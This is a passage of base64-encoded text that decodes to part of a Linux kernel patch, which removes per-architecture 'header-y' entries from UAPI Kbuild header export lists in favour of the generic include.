ci15ICs9IHB0cmFjZS5oCi1oZWFkZXIteSArPSByZXNvdXJjZS5oCi1oZWFkZXIteSArPSBzZW1i
dWYuaAotaGVhZGVyLXkgKz0gc2V0dXAuaAotaGVhZGVyLXkgKz0gc2dpZGVmcy5oCi1oZWFkZXIt
eSArPSBzaG1idWYuaAotaGVhZGVyLXkgKz0gc2lnY29udGV4dC5oCi1oZWFkZXIteSArPSBzaWdp
bmZvLmgKLWhlYWRlci15ICs9IHNpZ25hbC5oCi1oZWFkZXIteSArPSBzb2NrZXQuaAotaGVhZGVy
LXkgKz0gc29ja2lvcy5oCi1oZWFkZXIteSArPSBzdGF0LmgKLWhlYWRlci15ICs9IHN0YXRmcy5o
Ci1oZWFkZXIteSArPSBzd2FiLmgKLWhlYWRlci15ICs9IHN5c21pcHMuaAotaGVhZGVyLXkgKz0g
dGVybWJpdHMuaAotaGVhZGVyLXkgKz0gdGVybWlvcy5oCi1oZWFkZXIteSArPSB0eXBlcy5oCi1o
ZWFkZXIteSArPSB1bmlzdGQuaApkaWZmIC0tZ2l0IGEvYXJjaC9tbjEwMzAwL2luY2x1ZGUvdWFw
aS9hc20vS2J1aWxkIGIvYXJjaC9tbjEwMzAwL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkCmluZGV4
IDA0MDE3OGNkYjNlYi4uYjE1YmY2YmMwZTk0IDEwMDY0NAotLS0gYS9hcmNoL21uMTAzMDAvaW5j
bHVkZS91YXBpL2FzbS9LYnVpbGQKKysrIGIvYXJjaC9tbjEwMzAwL2luY2x1ZGUvdWFwaS9hc20v
S2J1aWxkCkBAIC0xLDM0ICsxLDIgQEAKICMgVUFQSSBIZWFkZXIgZXhwb3J0IGxpc3QKIGluY2x1
ZGUgaW5jbHVkZS91YXBpL2FzbS1nZW5lcmljL0tidWlsZC5hc20KLQotaGVhZGVyLXkgKz0gYXV4
dmVjLmgKLWhlYWRlci15ICs9IGJpdHNwZXJsb25nLmgKLWhlYWRlci15ICs9IGJ5dGVvcmRlci5o
Ci1oZWFkZXIteSArPSBlcnJuby5oCi1oZWFkZXIteSArPSBmY250bC5oCi1oZWFkZXIteSArPSBp
b2N0bC5oCi1oZWFkZXIteSArPSBpb2N0bHMuaAotaGVhZGVyLXkgKz0gaXBjYnVmLmgKLWhlYWRl
ci15ICs9IGt2bV9wYXJhLmgKLWhlYWRlci15ICs9IG1tYW4uaAotaGVhZGVyLXkgKz0gbXNnYnVm
LmgKLWhlYWRlci15ICs9IHBhcmFtLmgKLWhlYWRlci15ICs9IHBvbGwuaAotaGVhZGVyLXkgKz0g
cG9zaXhfdHlwZXMuaAotaGVhZGVyLXkgKz0gcHRyYWNlLmgKLWhlYWRlci15ICs9IHJlc291cmNl
LmgKLWhlYWRlci15ICs9IHNlbWJ1Zi5oCi1oZWFkZXIteSArPSBzZXR1cC5oCi1oZWFkZXIteSAr
PSBzaG1idWYuaAotaGVhZGVyLXkgKz0gc2lnY29udGV4dC5oCi1oZWFkZXIteSArPSBzaWdpbmZv
LmgKLWhlYWRlci15ICs9IHNpZ25hbC5oCi1oZWFkZXIteSArPSBzb2NrZXQuaAotaGVhZGVyLXkg
Kz0gc29ja2lvcy5oCi1oZWFkZXIteSArPSBzdGF0LmgKLWhlYWRlci15ICs9IHN0YXRmcy5oCi1o
ZWFkZXIteSArPSBzd2FiLmgKLWhlYWRlci15ICs9IHRlcm1iaXRzLmgKLWhlYWRlci15ICs9IHRl
cm1pb3MuaAotaGVhZGVyLXkgKz0gdHlwZXMuaAotaGVhZGVyLXkgKz0gdW5pc3RkLmgKZGlmZiAt
LWdpdCBhL2FyY2gvbmlvczIvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQgYi9hcmNoL25pb3MyL2lu
Y2x1ZGUvdWFwaS9hc20vS2J1aWxkCmluZGV4IDY5Yzk2NTMwNDE0Ni4uMzc0YmQxMjMzMjlmIDEw
MDY0NAotLS0gYS9hcmNoL25pb3MyL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkCisrKyBiL2FyY2gv
bmlvczIvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQKQEAgLTEsNiArMSw1IEBACisjIFVBUEkgSGVh
ZGVyIGV4cG9ydCBsaXN0CiBpbmNsdWRlIGluY2x1ZGUvdWFwaS9hc20tZ2VuZXJpYy9LYnVpbGQu
YXNtCiAKLWhlYWRlci15ICs9IGVsZi5oCi0KIGdlbmVyaWMteSArPSBzZXR1cC5oCiBnZW5lcmlj
LXkgKz0gdWNvbnRleHQuaApkaWZmIC0tZ2l0IGEvYXJjaC9vcGVucmlzYy9pbmNsdWRlL2FzbS9L
YnVpbGQgYi9hcmNoL29wZW5yaXNjL2luY2x1ZGUvYXNtL0tidWlsZAppbmRleCAyODMyZjAzMWZi
MTEuLjU2MTkxNTcxNmZkOSAxMDA2NDQKLS0tIGEvYXJjaC9vcGVucmlzYy9pbmNsdWRlL2FzbS9L
YnVpbGQKKysrIGIvYXJjaC9vcGVucmlzYy9pbmNsdWRlL2FzbS9LYnVpbGQKQEAgLTEsNiArMSwz
IEBACi0KLWhlYWRlci15ICs9IHVjb250ZXh0LmgKLQogZ2VuZXJpYy15ICs9IGF0b21pYy5oCiBn
ZW5lcmljLXkgKz0gYXV4dmVjLmgKIGdlbmVyaWMteSArPSBiYXJyaWVyLmgKZGlmZiAtLWdpdCBh
L2FyY2gvb3BlbnJpc2MvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQgYi9hcmNoL29wZW5yaXNjL2lu
Y2x1ZGUvdWFwaS9hc20vS2J1aWxkCmluZGV4IDgwNzYxZWI4MmI1Zi4uYjE1YmY2YmMwZTk0IDEw
MDY0NAotLS0gYS9hcmNoL29wZW5yaXNjL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkCisrKyBiL2Fy
Y2gvb3BlbnJpc2MvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQKQEAgLTEsMTAgKzEsMiBAQAogIyBV
QVBJIEhlYWRlciBleHBvcnQgbGlzdAogaW5jbHVkZSBpbmNsdWRlL3VhcGkvYXNtLWdlbmVyaWMv
S2J1aWxkLmFzbQotCi1oZWFkZXIteSArPSBieXRlb3JkZXIuaAotaGVhZGVyLXkgKz0gZWxmLmgK
LWhlYWRlci15ICs9IGt2bV9wYXJhLmgKLWhlYWRlci15ICs9IHBhcmFtLmgKLWhlYWRlci15ICs9
IHB0cmFjZS5oCi1oZWFkZXIteSArPSBzaWdjb250ZXh0LmgKLWhlYWRlci15ICs9IHVuaXN0ZC5o
CmRpZmYgLS1naXQgYS9hcmNoL3BhcmlzYy9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZCBiL2FyY2gv
cGFyaXNjL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkCmluZGV4IDM0ODM1NmM5OTUxNC4uMzk3MWM2
MGE3ZTdmIDEwMDY0NAotLS0gYS9hcmNoL3BhcmlzYy9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZAor
KysgYi9hcmNoL3BhcmlzYy9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZApAQCAtMiwzMSArMiwzIEBA
CiBpbmNsdWRlIGluY2x1ZGUvdWFwaS9hc20tZ2VuZXJpYy9LYnVpbGQuYXNtCiAKIGdlbmVyaWMt
eSArPSByZXNvdXJjZS5oCi0KLWhlYWRlci15ICs9IGJpdHNwZXJsb25nLmgKLWhlYWRlci15ICs9
IGJ5dGVvcmRlci5oCi1oZWFkZXIteSArPSBlcnJuby5oCi1oZWFkZXIteSArPSBmY250bC5oCi1o
ZWFkZXIteSArPSBpb2N0bC5oCi1oZWFkZXIteSArPSBpb2N0bHMuaAotaGVhZGVyLXkgKz0gaXBj
YnVmLmgKLWhlYWRlci15ICs9IG1tYW4uaAotaGVhZGVyLXkgKz0gbXNnYnVmLmgKLWhlYWRlci15
ICs9IHBkYy5oCi1oZWFkZXIteSArPSBwb3NpeF90eXBlcy5oCi1oZWFkZXIteSArPSBwdHJhY2Uu
aAotaGVhZGVyLXkgKz0gc2VtYnVmLmgKLWhlYWRlci15ICs9IHNldHVwLmgKLWhlYWRlci15ICs9
IHNobWJ1Zi5oCi1oZWFkZXIteSArPSBzaWdjb250ZXh0LmgKLWhlYWRlci15ICs9IHNpZ2luZm8u
aAotaGVhZGVyLXkgKz0gc2lnbmFsLmgKLWhlYWRlci15ICs9IHNvY2tldC5oCi1oZWFkZXIteSAr
PSBzb2NraW9zLmgKLWhlYWRlci15ICs9IHN0YXQuaAotaGVhZGVyLXkgKz0gc3RhdGZzLmgKLWhl
YWRlci15ICs9IHN3YWIuaAotaGVhZGVyLXkgKz0gdGVybWJpdHMuaAotaGVhZGVyLXkgKz0gdGVy
bWlvcy5oCi1oZWFkZXIteSArPSB0eXBlcy5oCi1oZWFkZXIteSArPSB1bmlzdGQuaApkaWZmIC0t
Z2l0IGEvYXJjaC9wb3dlcnBjL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkIGIvYXJjaC9wb3dlcnBj
L2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkCmluZGV4IGRhYjM3MTdlM2VhMC4uYjE1YmY2YmMwZTk0
IDEwMDY0NAotLS0gYS9hcmNoL3Bvd2VycGMvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQKKysrIGIv
YXJjaC9wb3dlcnBjL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkCkBAIC0xLDQ3ICsxLDIgQEAKICMg
VUFQSSBIZWFkZXIgZXhwb3J0IGxpc3QKIGluY2x1ZGUgaW5jbHVkZS91YXBpL2FzbS1nZW5lcmlj
L0tidWlsZC5hc20KLQotaGVhZGVyLXkgKz0gYXV4dmVjLmgKLWhlYWRlci15ICs9IGJpdHNwZXJs
b25nLmgKLWhlYWRlci15ICs9IGJvb3R4LmgKLWhlYWRlci15ICs9IGJ5dGVvcmRlci5oCi1oZWFk
ZXIteSArPSBjcHV0YWJsZS5oCi1oZWFkZXIteSArPSBlZWguaAotaGVhZGVyLXkgKz0gZWxmLmgK
LWhlYWRlci15ICs9IGVwYXByX2hjYWxscy5oCi1oZWFkZXIteSArPSBlcnJuby5oCi1oZWFkZXIt
eSArPSBmY250bC5oCi1oZWFkZXIteSArPSBpb2N0bC5oCi1oZWFkZXIteSArPSBpb2N0bHMuaAot
aGVhZGVyLXkgKz0gaXBjYnVmLmgKLWhlYWRlci15ICs9IGt2bS5oCi1oZWFkZXIteSArPSBrdm1f
cGFyYS5oCi1oZWFkZXIteSArPSBtbWFuLmgKLWhlYWRlci15ICs9IG1zZ2J1Zi5oCi1oZWFkZXIt
eSArPSBudnJhbS5oCi1oZWFkZXIteSArPSBvcGFsLXByZC5oCi1oZWFkZXIteSArPSBwYXJhbS5o
Ci1oZWFkZXIteSArPSBwZXJmX2V2ZW50LmgKLWhlYWRlci15ICs9IHBvbGwuaAotaGVhZGVyLXkg
Kz0gcG9zaXhfdHlwZXMuaAotaGVhZGVyLXkgKz0gcHMzZmIuaAotaGVhZGVyLXkgKz0gcHRyYWNl
LmgKLWhlYWRlci15ICs9IHJlc291cmNlLmgKLWhlYWRlci15ICs9IHNlbWJ1Zi5oCi1oZWFkZXIt
eSArPSBzZXR1cC5oCi1oZWFkZXIteSArPSBzaG1idWYuaAotaGVhZGVyLXkgKz0gc2lnY29udGV4
dC5oCi1oZWFkZXIteSArPSBzaWdpbmZvLmgKLWhlYWRlci15ICs9IHNpZ25hbC5oCi1oZWFkZXIt
eSArPSBzb2NrZXQuaAotaGVhZGVyLXkgKz0gc29ja2lvcy5oCi1oZWFkZXIteSArPSBzcHVfaW5m
by5oCi1oZWFkZXIteSArPSBzdGF0LmgKLWhlYWRlci15ICs9IHN0YXRmcy5oCi1oZWFkZXIteSAr
PSBzd2FiLmgKLWhlYWRlci15ICs9IHRlcm1iaXRzLmgKLWhlYWRlci15ICs9IHRlcm1pb3MuaAot
aGVhZGVyLXkgKz0gdG0uaAotaGVhZGVyLXkgKz0gdHlwZXMuaAotaGVhZGVyLXkgKz0gdWNvbnRl
eHQuaAotaGVhZGVyLXkgKz0gdW5pc3RkLmgKZGlmZiAtLWdpdCBhL2FyY2gvczM5MC9pbmNsdWRl
L3VhcGkvYXNtL0tidWlsZCBiL2FyY2gvczM5MC9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZAppbmRl
eCBiZjczNmU3NjRjYjQuLmIxNWJmNmJjMGU5NCAxMDA2NDQKLS0tIGEvYXJjaC9zMzkwL2luY2x1
ZGUvdWFwaS9hc20vS2J1aWxkCisrKyBiL2FyY2gvczM5MC9pbmNsdWRlL3VhcGkvYXNtL0tidWls
ZApAQCAtMSw1NCArMSwyIEBACiAjIFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0CiBpbmNsdWRlIGlu
Y2x1ZGUvdWFwaS9hc20tZ2VuZXJpYy9LYnVpbGQuYXNtCi0KLWhlYWRlci15ICs9IGF1eHZlYy5o
Ci1oZWFkZXIteSArPSBiaXRzcGVybG9uZy5oCi1oZWFkZXIteSArPSBieXRlb3JkZXIuaAotaGVh
ZGVyLXkgKz0gY2hwaWQuaAotaGVhZGVyLXkgKz0gY2hzYy5oCi1oZWFkZXIteSArPSBjbHAuaAot
aGVhZGVyLXkgKz0gY21iLmgKLWhlYWRlci15ICs9IGRhc2QuaAotaGVhZGVyLXkgKz0gZGVidWcu
aAotaGVhZGVyLXkgKz0gZXJybm8uaAotaGVhZGVyLXkgKz0gZmNudGwuaAotaGVhZGVyLXkgKz0g
aHlwZnMuaAotaGVhZGVyLXkgKz0gaW9jdGwuaAotaGVhZGVyLXkgKz0gaW9jdGxzLmgKLWhlYWRl
ci15ICs9IGlwY2J1Zi5oCi1oZWFkZXIteSArPSBrdm0uaAotaGVhZGVyLXkgKz0ga3ZtX3BhcmEu
aAotaGVhZGVyLXkgKz0ga3ZtX3BlcmYuaAotaGVhZGVyLXkgKz0ga3ZtX3ZpcnRpby5oCi1oZWFk
ZXIteSArPSBtbWFuLmgKLWhlYWRlci15ICs9IG1vbndyaXRlci5oCi1oZWFkZXIteSArPSBtc2di
dWYuaAotaGVhZGVyLXkgKz0gcGFyYW0uaAotaGVhZGVyLXkgKz0gcG9sbC5oCi1oZWFkZXIteSAr
PSBwb3NpeF90eXBlcy5oCi1oZWFkZXIteSArPSBwdHJhY2UuaAotaGVhZGVyLXkgKz0gcWV0aC5o
Ci1oZWFkZXIteSArPSByZXNvdXJjZS5oCi1oZWFkZXIteSArPSBzY2hpZC5oCi1oZWFkZXIteSAr
PSBzY2xwX2N0bC5oCi1oZWFkZXIteSArPSBzZW1idWYuaAotaGVhZGVyLXkgKz0gc2V0dXAuaAot
aGVhZGVyLXkgKz0gc2htYnVmLmgKLWhlYWRlci15ICs9IHNpZS5oCi1oZWFkZXIteSArPSBzaWdj
b250ZXh0LmgKLWhlYWRlci15ICs9IHNpZ2luZm8uaAotaGVhZGVyLXkgKz0gc2lnbmFsLmgKLWhl
YWRlci15ICs9IHNvY2tldC5oCi1oZWFkZXIteSArPSBzb2NraW9zLmgKLWhlYWRlci15ICs9IHN0
YXQuaAotaGVhZGVyLXkgKz0gc3RhdGZzLmgKLWhlYWRlci15ICs9IHN3YWIuaAotaGVhZGVyLXkg
Kz0gdGFwZTM5MC5oCi1oZWFkZXIteSArPSB0ZXJtYml0cy5oCi1oZWFkZXIteSArPSB0ZXJtaW9z
LmgKLWhlYWRlci15ICs9IHR5cGVzLmgKLWhlYWRlci15ICs9IHVjb250ZXh0LmgKLWhlYWRlci15
ICs9IHVuaXN0ZC5oCi1oZWFkZXIteSArPSB2aXJ0aW8tY2N3LmgKLWhlYWRlci15ICs9IHZ0b2Mu
aAotaGVhZGVyLXkgKz0gemNyeXB0LmgKZGlmZiAtLWdpdCBhL2FyY2gvc2NvcmUvaW5jbHVkZS9h
c20vS2J1aWxkIGIvYXJjaC9zY29yZS9pbmNsdWRlL2FzbS9LYnVpbGQKaW5kZXggYTA1MjE4ZmYz
ZmU0Li4xMjhjYTdlYzAyMjAgMTAwNjQ0Ci0tLSBhL2FyY2gvc2NvcmUvaW5jbHVkZS9hc20vS2J1
aWxkCisrKyBiL2FyY2gvc2NvcmUvaW5jbHVkZS9hc20vS2J1aWxkCkBAIC0xLDcgKzEsMyBAQAot
Ci1oZWFkZXIteSArPQotCi0KIGdlbmVyaWMteSArPSBiYXJyaWVyLmgKIGdlbmVyaWMteSArPSBj
bGtkZXYuaAogZ2VuZXJpYy15ICs9IGNwdXRpbWUuaApkaWZmIC0tZ2l0IGEvYXJjaC9zY29yZS9p
bmNsdWRlL3VhcGkvYXNtL0tidWlsZCBiL2FyY2gvc2NvcmUvaW5jbHVkZS91YXBpL2FzbS9LYnVp
bGQKaW5kZXggMDQwMTc4Y2RiM2ViLi5iMTViZjZiYzBlOTQgMTAwNjQ0Ci0tLSBhL2FyY2gvc2Nv
cmUvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQKKysrIGIvYXJjaC9zY29yZS9pbmNsdWRlL3VhcGkv
YXNtL0tidWlsZApAQCAtMSwzNCArMSwyIEBACiAjIFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0CiBp
bmNsdWRlIGluY2x1ZGUvdWFwaS9hc20tZ2VuZXJpYy9LYnVpbGQuYXNtCi0KLWhlYWRlci15ICs9
IGF1eHZlYy5oCi1oZWFkZXIteSArPSBiaXRzcGVybG9uZy5oCi1oZWFkZXIteSArPSBieXRlb3Jk
ZXIuaAotaGVhZGVyLXkgKz0gZXJybm8uaAotaGVhZGVyLXkgKz0gZmNudGwuaAotaGVhZGVyLXkg
Kz0gaW9jdGwuaAotaGVhZGVyLXkgKz0gaW9jdGxzLmgKLWhlYWRlci15ICs9IGlwY2J1Zi5oCi1o
ZWFkZXIteSArPSBrdm1fcGFyYS5oCi1oZWFkZXIteSArPSBtbWFuLmgKLWhlYWRlci15ICs9IG1z
Z2J1Zi5oCi1oZWFkZXIteSArPSBwYXJhbS5oCi1oZWFkZXIteSArPSBwb2xsLmgKLWhlYWRlci15
ICs9IHBvc2l4X3R5cGVzLmgKLWhlYWRlci15ICs9IHB0cmFjZS5oCi1oZWFkZXIteSArPSByZXNv
dXJjZS5oCi1oZWFkZXIteSArPSBzZW1idWYuaAotaGVhZGVyLXkgKz0gc2V0dXAuaAotaGVhZGVy
LXkgKz0gc2htYnVmLmgKLWhlYWRlci15ICs9IHNpZ2NvbnRleHQuaAotaGVhZGVyLXkgKz0gc2ln
aW5mby5oCi1oZWFkZXIteSArPSBzaWduYWwuaAotaGVhZGVyLXkgKz0gc29ja2V0LmgKLWhlYWRl
ci15ICs9IHNvY2tpb3MuaAotaGVhZGVyLXkgKz0gc3RhdC5oCi1oZWFkZXIteSArPSBzdGF0ZnMu
aAotaGVhZGVyLXkgKz0gc3dhYi5oCi1oZWFkZXIteSArPSB0ZXJtYml0cy5oCi1oZWFkZXIteSAr
PSB0ZXJtaW9zLmgKLWhlYWRlci15ICs9IHR5cGVzLmgKLWhlYWRlci15ICs9IHVuaXN0ZC5oCmRp
ZmYgLS1naXQgYS9hcmNoL3NoL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkIGIvYXJjaC9zaC9pbmNs
dWRlL3VhcGkvYXNtL0tidWlsZAppbmRleCA2MDYxM2FlNzg1MTMuLmIxNWJmNmJjMGU5NCAxMDA2
NDQKLS0tIGEvYXJjaC9zaC9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZAorKysgYi9hcmNoL3NoL2lu
Y2x1ZGUvdWFwaS9hc20vS2J1aWxkCkBAIC0xLDI1ICsxLDIgQEAKICMgVUFQSSBIZWFkZXIgZXhw
b3J0IGxpc3QKIGluY2x1ZGUgaW5jbHVkZS91YXBpL2FzbS1nZW5lcmljL0tidWlsZC5hc20KLQot
aGVhZGVyLXkgKz0gYXV4dmVjLmgKLWhlYWRlci15ICs9IGJ5dGVvcmRlci5oCi1oZWFkZXIteSAr
PSBjYWNoZWN0bC5oCi1oZWFkZXIteSArPSBjcHUtZmVhdHVyZXMuaAotaGVhZGVyLXkgKz0gaHdf
YnJlYWtwb2ludC5oCi1oZWFkZXIteSArPSBpb2N0bHMuaAotaGVhZGVyLXkgKz0gcG9zaXhfdHlw
ZXMuaAotaGVhZGVyLXkgKz0gcG9zaXhfdHlwZXNfMzIuaAotaGVhZGVyLXkgKz0gcG9zaXhfdHlw
ZXNfNjQuaAotaGVhZGVyLXkgKz0gcHRyYWNlLmgKLWhlYWRlci15ICs9IHB0cmFjZV8zMi5oCi1o
ZWFkZXIteSArPSBwdHJhY2VfNjQuaAotaGVhZGVyLXkgKz0gc2V0dXAuaAotaGVhZGVyLXkgKz0g
c2lnY29udGV4dC5oCi1oZWFkZXIteSArPSBzaWduYWwuaAotaGVhZGVyLXkgKz0gc29ja2lvcy5o
Ci1oZWFkZXIteSArPSBzdGF0LmgKLWhlYWRlci15ICs9IHN3YWIuaAotaGVhZGVyLXkgKz0gdHlw
ZXMuaAotaGVhZGVyLXkgKz0gdW5pc3RkLmgKLWhlYWRlci15ICs9IHVuaXN0ZF8zMi5oCi1oZWFk
ZXIteSArPSB1bmlzdGRfNjQuaApkaWZmIC0tZ2l0IGEvYXJjaC9zcGFyYy9pbmNsdWRlL3VhcGkv
YXNtL0tidWlsZCBiL2FyY2gvc3BhcmMvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQKaW5kZXggYjU4
NDNlZTA5ZmI1Li5iMTViZjZiYzBlOTQgMTAwNjQ0Ci0tLSBhL2FyY2gvc3BhcmMvaW5jbHVkZS91
YXBpL2FzbS9LYnVpbGQKKysrIGIvYXJjaC9zcGFyYy9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZApA
QCAtMSw1MCArMSwyIEBACiAjIFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0Ci0jIFVzZXIgZXhwb3J0
ZWQgc3BhcmMgaGVhZGVyIGZpbGVzCi0KIGluY2x1ZGUgaW5jbHVkZS91YXBpL2FzbS1nZW5lcmlj
L0tidWlsZC5hc20KLQotaGVhZGVyLXkgKz0gYXBjLmgKLWhlYWRlci15ICs9IGFzaS5oCi1oZWFk
ZXIteSArPSBhdXh2ZWMuaAotaGVhZGVyLXkgKz0gYml0c3BlcmxvbmcuaAotaGVhZGVyLXkgKz0g
Ynl0ZW9yZGVyLmgKLWhlYWRlci15ICs9IGRpc3BsYXk3c2VnLmgKLWhlYWRlci15ICs9IGVudmN0
cmwuaAotaGVhZGVyLXkgKz0gZXJybm8uaAotaGVhZGVyLXkgKz0gZmJpby5oCi1oZWFkZXIteSAr
PSBmY250bC5oCi1oZWFkZXIteSArPSBpb2N0bC5oCi1oZWFkZXIteSArPSBpb2N0bHMuaAotaGVh
ZGVyLXkgKz0gaXBjYnVmLmgKLWhlYWRlci15ICs9IGpzZmxhc2guaAotaGVhZGVyLXkgKz0ga3Zt
X3BhcmEuaAotaGVhZGVyLXkgKz0gbW1hbi5oCi1oZWFkZXIteSArPSBtc2didWYuaAotaGVhZGVy
LXkgKz0gb3BlbnByb21pby5oCi1oZWFkZXIteSArPSBwYXJhbS5oCi1oZWFkZXIteSArPSBwZXJm
Y3RyLmgKLWhlYWRlci15ICs9IHBvbGwuaAotaGVhZGVyLXkgKz0gcG9zaXhfdHlwZXMuaAotaGVh
ZGVyLXkgKz0gcHNyLmgKLWhlYWRlci15ICs9IHBzcmNvbXBhdC5oCi1oZWFkZXIteSArPSBwc3Rh
dGUuaAotaGVhZGVyLXkgKz0gcHRyYWNlLmgKLWhlYWRlci15ICs9IHJlc291cmNlLmgKLWhlYWRl
ci15ICs9IHNlbWJ1Zi5oCi1oZWFkZXIteSArPSBzZXR1cC5oCi1oZWFkZXIteSArPSBzaG1idWYu
aAotaGVhZGVyLXkgKz0gc2lnY29udGV4dC5oCi1oZWFkZXIteSArPSBzaWdpbmZvLmgKLWhlYWRl
ci15ICs9IHNpZ25hbC5oCi1oZWFkZXIteSArPSBzb2NrZXQuaAotaGVhZGVyLXkgKz0gc29ja2lv
cy5oCi1oZWFkZXIteSArPSBzdGF0LmgKLWhlYWRlci15ICs9IHN0YXRmcy5oCi1oZWFkZXIteSAr
PSBzd2FiLmgKLWhlYWRlci15ICs9IHRlcm1iaXRzLmgKLWhlYWRlci15ICs9IHRlcm1pb3MuaAot
aGVhZGVyLXkgKz0gdHJhcHMuaAotaGVhZGVyLXkgKz0gdWN0eC5oCi1oZWFkZXIteSArPSB1bmlz
dGQuaAotaGVhZGVyLXkgKz0gdXRyYXAuaAotaGVhZGVyLXkgKz0gd2F0Y2hkb2cuaApkaWZmIC0t
Z2l0IGEvYXJjaC90aWxlL2luY2x1ZGUvYXNtL0tidWlsZCBiL2FyY2gvdGlsZS9pbmNsdWRlL2Fz
bS9LYnVpbGQKaW5kZXggMmQxZjU2Mzg5NzRjLi4wNTdlYWE1MzM4NzcgMTAwNjQ0Ci0tLSBhL2Fy
Y2gvdGlsZS9pbmNsdWRlL2FzbS9LYnVpbGQKKysrIGIvYXJjaC90aWxlL2luY2x1ZGUvYXNtL0ti
dWlsZApAQCAtMSw2ICsxLDMgQEAKLQotaGVhZGVyLXkgKz0gLi4vYXJjaC8KLQogZ2VuZXJpYy15
ICs9IGJ1Zy5oCiBnZW5lcmljLXkgKz0gYnVncy5oCiBnZW5lcmljLXkgKz0gY2xrZGV2LmgKZGlm
ZiAtLWdpdCBhL2FyY2gvdGlsZS9pbmNsdWRlL3VhcGkvYXJjaC9LYnVpbGQgYi9hcmNoL3RpbGUv
aW5jbHVkZS91YXBpL2FyY2gvS2J1aWxkCmRlbGV0ZWQgZmlsZSBtb2RlIDEwMDY0NAppbmRleCA5
N2RmYmVjZWM2YjYuLjAwMDAwMDAwMDAwMAotLS0gYS9hcmNoL3RpbGUvaW5jbHVkZS91YXBpL2Fy
Y2gvS2J1aWxkCisrKyAvZGV2L251bGwKQEAgLTEsMTcgKzAsMCBAQAotIyBVQVBJIEhlYWRlciBl
eHBvcnQgbGlzdAotaGVhZGVyLXkgKz0gYWJpLmgKLWhlYWRlci15ICs9IGNoaXAuaAotaGVhZGVy
LXkgKz0gY2hpcF90aWxlZ3guaAotaGVhZGVyLXkgKz0gY2hpcF90aWxlcHJvLmgKLWhlYWRlci15
ICs9IGljYWNoZS5oCi1oZWFkZXIteSArPSBpbnRlcnJ1cHRzLmgKLWhlYWRlci15ICs9IGludGVy
cnVwdHNfMzIuaAotaGVhZGVyLXkgKz0gaW50ZXJydXB0c182NC5oCi1oZWFkZXIteSArPSBvcGNv
ZGUuaAotaGVhZGVyLXkgKz0gb3Bjb2RlX3RpbGVneC5oCi1oZWFkZXIteSArPSBvcGNvZGVfdGls
ZXByby5oCi1oZWFkZXIteSArPSBzaW0uaAotaGVhZGVyLXkgKz0gc2ltX2RlZi5oCi1oZWFkZXIt
eSArPSBzcHJfZGVmLmgKLWhlYWRlci15ICs9IHNwcl9kZWZfMzIuaAotaGVhZGVyLXkgKz0gc3By
X2RlZl82NC5oCmRpZmYgLS1naXQgYS9hcmNoL3RpbGUvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQg
Yi9hcmNoL3RpbGUvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQKaW5kZXggYzIwZGI4ZTQyOGJmLi5l
MGE1MDExMWUwN2YgMTAwNjQ0Ci0tLSBhL2FyY2gvdGlsZS9pbmNsdWRlL3VhcGkvYXNtL0tidWls
ZAorKysgYi9hcmNoL3RpbGUvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQKQEAgLTEsMjEgKzEsNiBA
QAogIyBVQVBJIEhlYWRlciBleHBvcnQgbGlzdAogaW5jbHVkZSBpbmNsdWRlL3VhcGkvYXNtLWdl
bmVyaWMvS2J1aWxkLmFzbQogCi1oZWFkZXIteSArPSBhdXh2ZWMuaAotaGVhZGVyLXkgKz0gYml0
c3BlcmxvbmcuaAotaGVhZGVyLXkgKz0gYnl0ZW9yZGVyLmgKLWhlYWRlci15ICs9IGNhY2hlY3Rs
LmgKLWhlYWRlci15ICs9IGhhcmR3YWxsLmgKLWhlYWRlci15ICs9IGt2bV9wYXJhLmgKLWhlYWRl
ci15ICs9IG1tYW4uaAotaGVhZGVyLXkgKz0gcHRyYWNlLmgKLWhlYWRlci15ICs9IHNldHVwLmgK
LWhlYWRlci15ICs9IHNpZ2NvbnRleHQuaAotaGVhZGVyLXkgKz0gc2lnaW5mby5oCi1oZWFkZXIt
eSArPSBzaWduYWwuaAotaGVhZGVyLXkgKz0gc3RhdC5oCi1oZWFkZXIteSArPSBzd2FiLmgKLWhl
YWRlci15ICs9IHVjb250ZXh0LmgKLWhlYWRlci15ICs9IHVuaXN0ZC5oCi0KIGdlbmVyaWMteSAr
PSB1Y29udGV4dC5oCisKK3N1YmRpci15ICs9IC4uL2FyY2gKZGlmZiAtLWdpdCBhL2FyY2gvdW5p
Y29yZTMyL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkIGIvYXJjaC91bmljb3JlMzIvaW5jbHVkZS91
YXBpL2FzbS9LYnVpbGQKaW5kZXggMDUxNGQ3YWQ2ODU1Li4xM2E5N2FhMjI4NWYgMTAwNjQ0Ci0t
LSBhL2FyY2gvdW5pY29yZTMyL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkCisrKyBiL2FyY2gvdW5p
Y29yZTMyL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkCkBAIC0xLDEwICsxLDQgQEAKICMgVUFQSSBI
ZWFkZXIgZXhwb3J0IGxpc3QKIGluY2x1ZGUgaW5jbHVkZS91YXBpL2FzbS1nZW5lcmljL0tidWls
